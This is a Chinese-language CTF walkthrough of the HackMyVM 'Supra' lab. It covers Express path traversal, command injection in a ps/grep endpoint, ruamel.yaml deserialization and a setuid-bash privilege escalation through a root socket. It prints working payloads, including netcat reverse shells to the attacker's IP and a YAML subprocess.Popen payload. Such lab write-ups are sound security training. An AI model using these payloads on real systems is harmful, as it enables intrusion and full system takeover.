HMV Supra
Todd

https://hackmyvm.eu/machines/machine.php?vm=Supra

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
IP=192.168.0.197



nmap -sV -T5 -Pn -p- $IP
# -sV Probe open ports to determine service/version info , # 识别服务/版本
# -T5 Set timing template (higher is faster) # 5是最快的了
# -Pn Treat all hosts as online -- skip host discovery # 不进行主机发现
# -p- Scan all ports # 扫描所有端口

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.48 ((Debian))
4000/tcp open http Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

打开网页看看 http://$IP 是个 Apache2 的默认主页。简单扫一波目录。

1
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

只有几个默认的目录。

再看一眼 4000 端口 http://192.168.0.197:4000 发现是一个 API for Cyber Security Professionals。 网络安全专业人士的 API。
image

核心源代码大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function ping() {
ip = document.getElementById("pingIn").value;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/ping/" + ip, false);
xhttp.send();
document.getElementById("pingResult").innerHTML = xhttp.responseText;
}

function portscan() {
ip = document.getElementById("portscanIn").value;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/portscan/" + ip, false);
xhttp.send();
document.getElementById("portscanResult").innerHTML = xhttp.responseText;
}

function whois() {
ip = document.getElementById("whoisIn").value;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/whois/" + ip, false);
xhttp.send();
document.getElementById("whoisResult").innerHTML = xhttp.responseText;
}

function base64e() {
data = document.getElementById("base64eIn").value;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/base64/encode/" + data, false);
xhttp.send();
document.getElementById("base64eResult").innerHTML = xhttp.responseText;
}

function base64d() {
data = document.getElementById("base64dIn").value;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/base64/decode/" + data, false);
xhttp.send();
document.getElementById("base64dResult").innerHTML = xhttp.responseText;
}

function passgen() {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "/generate-password", false);
xhttp.send();
document.getElementById("passgenResult").innerHTML = xhttp.responseText;
}

一边看源码,再去扫一波目录。

1
dirb http://$IP:4000

啥都没有。

尝试

既然使用了命令,先试试命令注入。尝试了几个命令,发现对 IP 校验比较严格,只能输入 IP 地址。
不过最后一个工具既然能直接上传。试试看上传一个 webshell。

传上去之后发现在 80 服务里找不到路径,提示的路即是在 /var/www/api/uploads/1.phP。4000 里也没扫到 uploads。
但是测试了 http://192.168.0.197:4000/uploads/1.phP 发现可以访问。
不过因为是 php 文件,所以 nodejs 里不会执行。

回想起来推荐我这个靶机的ll104567说问了关于 Node+Express 的一个目录穿越。试了试 CVE-2017-14849 中的 payload。../../../foo/../../../../etc/passwd发现并没有用。应该版本不匹配,而且ll104567也说不是这个漏洞。

关于 nodejs 中关于文件处理,除了 Express 的 static 模块,还有一个 fs 模块。也去查了下 static 默认会阻止目录穿越,参考 https://stackoverflow.com/questions/65860214/does-nodejs-prevent-directory-path-traversal-by-default 我们做一个改造的实验,就是利用 fs 做一个简单的文件服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const http = require("http");
const fs = require("fs");

http
.createServer(function (req, res) {
console.log("." + req.url);
fs.readFile("." + req.url, "utf8", function (err, data) {
if (err) {
console.error(err);
res.writeHead(404, { "Content-Type": "text/plain" });
res.end(err.message);
}
res.writeHead(200, { "Content-Type": "text/plain" });
res.end(data);
});
})
.listen(3000);

console.log("The server is running on port 3000");

这段代码就只是根据请求的 url 返回当前目录下文件内容。然后启动

1
2
node test.js
The server is running on port 3000

然后我们访问 curl http://192.168.0.20:3000/test.js 是可以读到 test.js 的内容的。说明服务正常。然后我们试试看向上一级访问
curl http://192.168.0.20:3000/../id_rsa
curl http://192.168.0.20:3000/%2e%2e%2fid_rsa

发现并不能读取到 id_rsa 文件。控制台输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
./id_rsa
[Error: ENOENT: no such file or directory, open './id_rsa'] {
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: './id_rsa'
}

./%2e%2e%2fid_rsa
[Error: ENOENT: no such file or directory, open './%2e%2e%2fid_rsa'] {
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: './%2e%2e%2fid_rsa'
}

如这个问题的提问所说,fs 模块默认是不能简单使用 ../或者 url 编码(%2e也就是.; %2f 也就是/) 来访问上级目录的。

其实说白了,默认情况下的 url 传递过来,因为并没有进行 url 解码,所以 %2e%2e%2f 会被当做文件名的一部分,而不是目录穿越。而不编码的 ../ 会被 httpServer 拦截,可以看到控制台的输出是./id_rsa.而不是../id_rsa

那么这时候,如果有人自动处理解码,那我们就可以绕过 httpServer 的限制,然后把../扔给 fs 模块,是不是就能实现目录穿越了呢?

那这个人应该就是 Express 了,而且什么时候会存在 URL 解码呢?要么是 GET 参数,要么是路由参数。靶机里请求 http://192.168.0.197:4000/uploads/1.phP ,传入的 1.php 应该就是路由参数而不是 GET 参数。
说干就干:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var express = require("express");
const fs = require("fs");

var app = express();
app.get("/:path", function (req, res) {
console.log("." + req.params.path);
fs.readFile("." + req.params.path, "utf8", function (err, data) {
if (err) {
res.send("File not found");
} else {
res.send(data);
}
});
});
app.listen(3000, function () {
console.log("listening to port 3000");
});

然后我们再访问:curl http://192.168.0.20:3000/%2e%2e%2fid_rsa
此时控制台输出了.../id_rsa 我就知道我快成功了,

改下 url :
curl http://192.168.0.20:3000/%2e%2fid_rsa
发现成功了,读取到了 id_rsa 的内容。

再尝试下读取 /etc/passwd

curl http://192.168.0.20:3000/%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

没有问题,成功获取到了 我电脑的 /etc/passwd 的内容。
回到靶机:

1
2
curl http://$IP:4000/uploads/%2e%2e%2fapp.js

成功读到 app.js 的内容,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
var express = require("express");
const { exec } = require("child_process");
const { base64encode, base64decode } = require("nodejs-base64");
const whois = require("node-xwhois");
const ipRegex = require("ip-regex");
var generator = require("generate-password");
const fs = require("fs");
var multer = require("multer");

var storage = multer.diskStorage({
destination: function (req, file, callback) {
callback(null, "./uploads");
},
filename: function (req, file, callback) {
callback(null, file.originalname);
},
});

var upload = multer({ storage: storage }).single("userFile");
var app = express();
app.set("view engine", "ejs");

app.get("/", (req, res) => {
res.render("home");
});

app.get("/ping/:ip", (req, res) => {
ip = req.params.ip;
if (ipRegex({ exact: true }).test(ip)) {
exec("ping -c 3 ".concat(ip), (error, stdout, stderr) => {
if (error) {
}
if (stderr) {
}
console.log(`stdout: ${stdout}`);
res.send(`stdout: ${stdout}`);
});
} else {
res.send("This is not an IP");
}
});

app.get("/portscan/:ip", (req, res) => {
ip = req.params.ip;

if (ipRegex({ exact: true }).test(ip)) {
exec(
"nmap -p 21,22,443,80,8080 -T4 ".concat(ip),
(error, stdout, stderr) => {
if (error) {
}
if (stderr) {
}
console.log(`stdout: ${stdout}`);
res.send(`stdout: ${stdout}`);
}
);
} else {
res.send("This is not an IP");
}
});

app.get("/whois/:ip", (req, res) => {
ip = req.params.ip;

if (ipRegex({ exact: true }).test(ip)) {
whois
.whois(ip)
.then((data) => res.send(data))
.catch((err) => console.log(err));
} else {
res.send("This is not an IP");
}
});

app.get("/base64/decode/:data", (req, res) => {
data = req.params.data;
base64decoded = base64decode(data);
res.send(base64decoded);
});

app.get("/base64/encode/:data", (req, res) => {
data = req.params.data;
base64encoded = base64encode(data);
res.send(base64encoded);
});

app.get("/generate-password", (req, res) => {
var password = generator.generate({
length: 18,
numbers: true,
symbols: true,
});

res.send(password);
});

app.get("/uploads/:filename", (req, res) => {
finalPath = __dirname.concat("/uploads/").concat(req.params.filename);
console.log(finalPath);
fs.readFile(finalPath, "utf8", (err, data) => {
res.end(data);
});
});

app.post("/file", function (req, res) {
upload(req, res, function (err) {
if (req.fileValidationError) {
return res.send(req.fileValidationError);
} else if (!req.file) {
return res.send("Please select a file to upload");
} else if (err instanceof multer.MulterError) {
return res.send(err);
} else if (err) {
return res.send(err);
}

exec(
"md5sum ".concat(__dirname).concat("/uploads/").concat(req.file.filename),
(error, stdout, stderr) => {
console.log(`stdout: ${stdout}`);
res.end(`stdout: ${stdout}`);
}
);
});
});

app.get("/internal-processes-v1-display", function (req, res) {
uid = req.query.uid;
console.log(uid);
exec("ps aux | grep ".concat(uid), (error, stdout, stderr) => {
console.log(`stdout: ${stdout}`);
res.end(`stdout: ${stdout} :: ${uid}`);
});
});

app.listen(4000, function () {
console.log("listening to port 4000");
});

再看看 /etc/passwd
curl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
it404:x:1000:1000:it404,,,:/home/it404:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin`

看到了一个 it404 用户,我们可以尝试读取一下他的 home 目录下的文件。

curl http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fhome%2fit404%2fuser.txt
返回了空,不知道是没有文件,还是我们没有权限读取。

此时注意到 app.js 里有一个 /internal-processes-v1-display 的路由,可以显示进程信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
┌──(kali㉿kali)-[~]
└─$ curl http://$IP:4000/internal-processes-v1-display
stdout: www-data 1413 0.0 0.0 2420 520 ? S 23:02 0:00 /bin/sh -c ps aux | grep undefined
www-data 1415 0.0 0.0 6180 652 ? S 23:02 0:00 grep undefined
:: undefined
┌──(kali㉿kali)-[~]
└─$ curl http://$IP:4000/internal-processes-v1-display?uid=it404
stdout: it404 344 0.0 0.1 6756 3056 ? Ss 20:38 0:00 /bin/bash /opt/api/start-internal.sh
it404 362 0.0 1.3 42228 28368 ? S 20:38 0:03 python3 internal-api.py
www-data 1416 0.0 0.0 2420 572 ? S 23:02 0:00 /bin/sh -c ps aux | grep it404
www-data 1418 0.0 0.0 6180 708 ? S 23:02 0:00 grep it404
:: it404
┌──(kali㉿kali)-[~]
└─$ curl http://$IP:4000/internal-processes-v1-display?uid=root
stdout: root 1 0.0 0.4 98164 10052 ? Ss 20:38 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 20:38 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 20:38 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 20:38 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 20:38 0:00 [kworker/0:0H-events_highpri]
root 9 0.0 0.0 0 0 ? I< 20:38 0:00 [mm_percpu_wq]
root 10 0.0 0.0 0 0 ? S 20:38 0:00 [rcu_tasks_rude_]
root 11 0.0 0.0 0 0 ? S 20:38 0:00 [rcu_tasks_trace]
root 12 0.0 0.0 0 0 ? S 20:38 0:08 [ksoftirqd/0]
root 13 0.0 0.0 0 0 ? I 20:38 0:01 [rcu_sched]
root 14 0.0 0.0 0 0 ? S 20:38 0:00 [migration/0]
root 15 0.0 0.0 0 0 ? S 20:38 0:00 [cpuhp/0]
root 17 0.0 0.0 0 0 ? S 20:38 0:00 [kdevtmpfs]
root 18 0.0 0.0 0 0 ? I< 20:38 0:00 [netns]
root 19 0.0 0.0 0 0 ? S 20:38 0:00 [kauditd]
root 20 0.0 0.0 0 0 ? S 20:38 0:00 [khungtaskd]
root 21 0.0 0.0 0 0 ? S 20:38 0:00 [oom_reaper]
root 22 0.0 0.0 0 0 ? I< 20:38 0:00 [writeback]
root 23 0.0 0.0 0 0 ? S 20:38 0:00 [kcompactd0]
root 24 0.0 0.0 0 0 ? SN 20:38 0:00 [ksmd]
root 25 0.0 0.0 0 0 ? SN 20:38 0:00 [khugepaged]
root 43 0.0 0.0 0 0 ? I< 20:38 0:00 [kintegrityd]
root 44 0.0 0.0 0 0 ? I< 20:38 0:00 [kblockd]
root 45 0.0 0.0 0 0 ? I< 20:38 0:00 [blkcg_punt_bio]
root 46 0.0 0.0 0 0 ? I< 20:38 0:00 [edac-poller]
root 47 0.0 0.0 0 0 ? I< 20:38 0:00 [devfreq_wq]
root 48 0.0 0.0 0 0 ? I< 20:38 0:01 [kworker/0:1H-kblockd]
root 51 0.0 0.0 0 0 ? S 20:38 0:00 [kswapd0]
root 52 0.0 0.0 0 0 ? I< 20:38 0:00 [kthrotld]
root 53 0.0 0.0 0 0 ? I< 20:38 0:00 [acpi_thermal_pm]
root 54 0.0 0.0 0 0 ? I< 20:38 0:00 [ipv6_addrconf]
root 64 0.0 0.0 0 0 ? I< 20:38 0:00 [kstrp]
root 67 0.0 0.0 0 0 ? I< 20:38 0:00 [zswap-shrink]
root 68 0.0 0.0 0 0 ? I< 20:38 0:00 [kworker/u3:0]
root 110 0.0 0.0 0 0 ? I< 20:38 0:00 [ata_sff]
root 111 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_0]
root 112 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_1]
root 113 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_0]
root 114 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_1]
root 115 0.0 0.0 0 0 ? S 20:38 0:00 [scsi_eh_2]
root 116 0.0 0.0 0 0 ? I< 20:38 0:00 [scsi_tmf_2]
root 153 0.0 0.0 0 0 ? S 20:38 0:00 [jbd2/sda1-8]
root 154 0.0 0.0 0 0 ? I< 20:38 0:00 [ext4-rsv-conver]
root 190 0.0 0.7 48344 14856 ? Ss 20:38 0:00 /lib/systemd/systemd-journald
root 213 0.0 0.2 21264 5028 ? Ss 20:38 0:00 /lib/systemd/systemd-udevd
root 254 0.0 0.0 0 0 ? I< 20:38 0:00 [cryptd]
root 294 0.0 0.0 0 0 ? S 20:38 0:00 [irq/18-vmwgfx]
root 295 0.0 0.0 0 0 ? I< 20:38 0:00 [ttm_swap]
root 296 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc0]
root 297 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc1]
root 299 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc2]
root 301 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc3]
root 303 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc4]
root 305 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc5]
root 308 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc6]
root 314 0.0 0.0 0 0 ? S 20:38 0:00 [card0-crtc7]
root 327 0.0 0.1 6684 2896 ? Ss 20:38 0:00 /usr/sbin/cron -f
root 347 0.0 0.2 220740 4068 ? Ssl 20:38 0:00 /usr/sbin/rsyslogd -n -iNONE
root 349 0.0 0.1 6756 3244 ? Ss 20:38 0:00 /bin/bash /root/.s/starts.sh
root 352 0.0 0.2 99824 5944 ? Ssl 20:38 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root 355 0.0 0.2 21536 5740 ? Ss 20:38 0:00 /lib/systemd/systemd-logind
root 359 0.0 0.2 14560 5276 ? Ss 20:38 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
root 364 0.0 0.4 16396 9756 ? S 20:38 0:00 python3 socket-root.py
root 426 0.0 0.0 5784 1740 tty1 Ss+ 20:38 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 485 0.0 0.3 13292 7788 ? Ss 20:38 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 536 0.0 1.0 193948 20348 ? Ss 20:38 0:01 /usr/sbin/apache2 -k start
root 1394 0.0 0.0 0 0 ? I 22:39 0:00 [kworker/u2:1-ext4-rsv-conversion]
root 1397 0.0 0.0 0 0 ? I 22:48 0:00 [kworker/u2:0-flush-8:0]
root 1398 0.0 0.0 0 0 ? I 22:49 0:00 [kworker/0:2-ata_sff]
root 1400 0.3 0.0 0 0 ? I 22:55 0:01 [kworker/0:0-ata_sff]
root 1401 0.1 0.0 0 0 ? I 23:00 0:00 [kworker/0:1-events]
root 1412 0.0 0.0 0 0 ? I 23:00 0:00 [kworker/u2:2-ext4-rsv-conversion]
www-data 1419 0.0 0.0 2420 520 ? S 23:04 0:00 /bin/sh -c ps aux | grep root
www-data 1421 0.0 0.0 6312 716 ? S 23:04 0:00 grep root
:: root

既然是命令,再来试一波命令注入:

1
2
3
4
5
6
7
8
9
10
curl  "http://192.168.0.197:4000/internal-processes-v1-display?uid=;ls"

stdout: app.js
node_modules
package.json
package-lock.json
start.sh
uploads
views
:: ;ls

真返回了,那直接来个反弹 shell 吧。

1
pwncat-cs -l -p 1234
1
2
3
4
5
6
hURL -s -U ';/bin/bash -i >& /dev/tcp/192.168.0.30/1234 0>&1'
curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果
# 发现并没有反弹回来 换下 nc 试试
hURL -s -U ';nc -e bash 192.168.0.30 1234'
curl http://192.168.0.197:4000/internal-processes-v1-display?uid=上面的结果
stdout: :: ;nc 192.168.0.30 1234 -e bash

连上就挂了。
问过ll104567,才知道自己用这个方法比较蠢,其实要这样就行:

1
curl 'http://192.168.0.197:4000/internal-processes-v1-display?uid=;nc+-e+/bin/bash+192.168.0.30+1234'

一个点是不用这么复杂的 urlencode,用 +代替空格就行,然后 bash 要替换成 /bin/bash。

1
2
(remote) www-data@Supra:/var/www/api$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

就拿到了 www-data 的webshell。

提权

下载 linpeas.sh 到靶机看看

1
2
3
4
5
6
7
8
9
10
11
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 后来保存到了 r.txt 里
(remote) www-data@Supra:/tmp$ cat r.txt |grep 8081 -B 3 -A 3

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -

跑了一遍发现了一个 127.0.0.1:8081 。 curl http://127.0.0.1:8081 返回了:Supra Internals
那 8081 是谁在跑呢?

1
2
3
lsof -i :8081 
# 没有返回 ,应该没权限执行。 那我全盘搜下 包含 8081 内容的文件吧
grep -r 8081 / 2>/dev/null

等不及,ll104567说用ps -ef 直接看
其实刚才跑 linpeas.sh 的时候就看到了,有些进程需要注意:

1
2
3
4
5
6
it404        344  0.0  0.1   6756  3056 ?        Ss   Apr18   0:00 /bin/bash /opt/api/start-internal.sh
it404 362 0.0 1.3 42228 28368 ? S Apr18 0:09 _ python3 internal-api.py
root 347 0.0 0.2 220740 4068 ? Ssl Apr18 0:00 /usr/sbin/rsyslogd -n -iNONE
root 349 0.0 0.1 6756 3244 ? Ss Apr18 0:00 /bin/bash /root/.s/starts.sh
root 364 0.0 0.4 16396 9756 ? S Apr18 0:00 _ python3 socket-root.py
www-data 351 0.0 0.1 6836 3412 ? Ss Apr18 0:00 /bin/bash /var/www/api/start.sh

一个一个看,

1
2
3
4
5
cat /opt/api/start-internal.sh
#!/bin/bash
python3 internal-api.py

cat internal-api.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
#import yaml
import ruamel.yaml
import warnings
from base64 import b64decode

warnings.simplefilter('ignore', ruamel.yaml.error.UnsafeLoaderWarning)

from yaml.loader import FullLoader
app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
return "Supra Internals"


@app.route("/read-leaked-accounts", methods=["GET"])
def read():
with open(r'./accounts.yaml') as file:
#accounts = yaml.load(file, Loader=FullLoader)
accounts = ruamel.yaml.load(file)
return accounts


if __name__ == '__main__':
app.run("127.0.0.1", port=8081)
1
2
3
(remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts
{"emails":["[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]"],"passwords":["6NpjqVCM","mzPdgc9V","fpRze8bn","x4Lm3W6M","tYUBN6Qx","8zNBxXcd","X48UYKrw","xEfjB39C","Wk956r4a","UKQC5q2a"]}

刚看见账号密码的时候,以为是要去爆破,不过看到里面的邮箱域名,突然感觉没有这么简单。read-leaked-accounts 的意思是一些泄露的账号和密码,虽然不知道是哪个系统的,但是目前还没有地方去爆破。至此为止,卡住了。

正当想去翻 WP 的时候,突然看见上面代码的一行:

1
warnings.simplefilter('ignore', ruamel.yaml.error.UnsafeLoaderWarning)

看意思是有一个UnsafeLoaderWarning 被 ignore 了。 果断 Google 下 这个东西。

找到了一个 pdf:
https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
大概第 11 页开始,讲了些关于 ruamel.yaml 的介绍。
大概 19 页开始,开始讲如何序列化和反序列化。
大概 34 页讲了原理和利用的脚本:https://github.com/j0lt-github/python-deserialization-attack-payload-generator

看了下权限:

1
2
3
4
5
6
7
(remote) www-data@Supra:/opt/api$ ls -al
total 20
drwxr-xr-x 2 root root 4096 Oct 12 2021 .
drwxr-xr-x 3 root root 4096 Oct 11 2021 ..
-rwxrwxrwx 1 www-data www-data 445 Oct 11 2021 accounts.yaml
-rw-r--r-- 1 root root 609 Oct 12 2021 internal-api.py
-rwxr-xr-x 1 root root 36 Oct 11 2021 start-internal.sh

accounts.yaml 是可写的,看来应该是留给我们写入的。
先试试能不能利用:

1
2
3
4
5
6
7
echo '!!python/object/apply:time.sleep [10]' > accounts.yaml 

(remote) www-data@Supra:/opt/api$ curl http://127.0.0.1:8081/read-leaked-accounts
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

明显感到卡了 10s,说明这个是存在反序列化漏洞的。
利用脚本生成一个 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
git clone https://github.com/j0lt-github/python-deserialization-attack-payload-generator
cd python-deserialization-attack-payload-generator
pip install -r requirements.txt

┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator]
└─$ python peas.py
Enter RCE command :nc 192.168.0.30 1235 -e /bin/bash
Enter operating system of target [linux/windows] . Default is linux :
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :acc
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :ruamel.yaml
Done Saving file !!!!

┌──(kali㉿kali)-[~/tools/python-deserialization-attack-payload-generator]
└─$ cat acc_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- nc
- 192.168.0.30
- '1235'
- -e
- /bin/bash

然后把这个 payload 写入 accounts.yaml 里:

1
2
3
4
5
6
7
8
9
cat <<EOF > accounts.yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- nc
- 192.168.0.30
- '1235'
- -e
- /bin/bash
EOF

然后再次访问:

1
2

curl http://127.0.0.1:8081/read-leaked-accounts

可以看到已经连上了。

1
2
(remote) it404@Supra:/opt/api$ id
uid=1000(it404) gid=1000(it404) groups=1000(it404),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)

拿到了第一个 flag。

再次提权

之前还有一个 root 的文件:

1
2
root         349  0.0  0.1   6756  3244 ?        Ss   Apr18   0:00 /bin/bash /root/.s/starts.sh
root 364 0.0 0.4 16396 9756 ? S Apr18 0:00 _ python3 socket-root.py

猜测这个文件是在 /root/.s/ 下的,可是没有权限。

1
2
3
4
5
6
(remote) it404@Supra:/home/it404$ cd /root/.s/
bash: cd: /root/.s/: Permission denied
(remote) it404@Supra:/home/it404$ ls -al /root/.s/
ls: cannot access '/root/.s/': Permission denied
(remote) it404@Supra:/home/it404$ ls /root/.s/
ls: cannot access '/root/.s/': Permission denied

至此就卡住了。
最后翻了ll104567的 WP,才知道这玩意有一个现成的利用方案。
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/socket-command-injection
而如何猜到有这个漏洞呢?我是压根没感觉。
是在这里:

1
2
3
4
5
6
# file: /usr/local/src/socket.s
USER root rwx
user it404 rwx
GROUP root r-x
mask rwx
other r-x

这个位置。
然后执行:

1
2
3
4
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/usr/local/src/socket.s
/tmp/bash -p
id
uid=1000(it404) gid=1000(it404) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),1000(it404)

就拿到 root 了。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量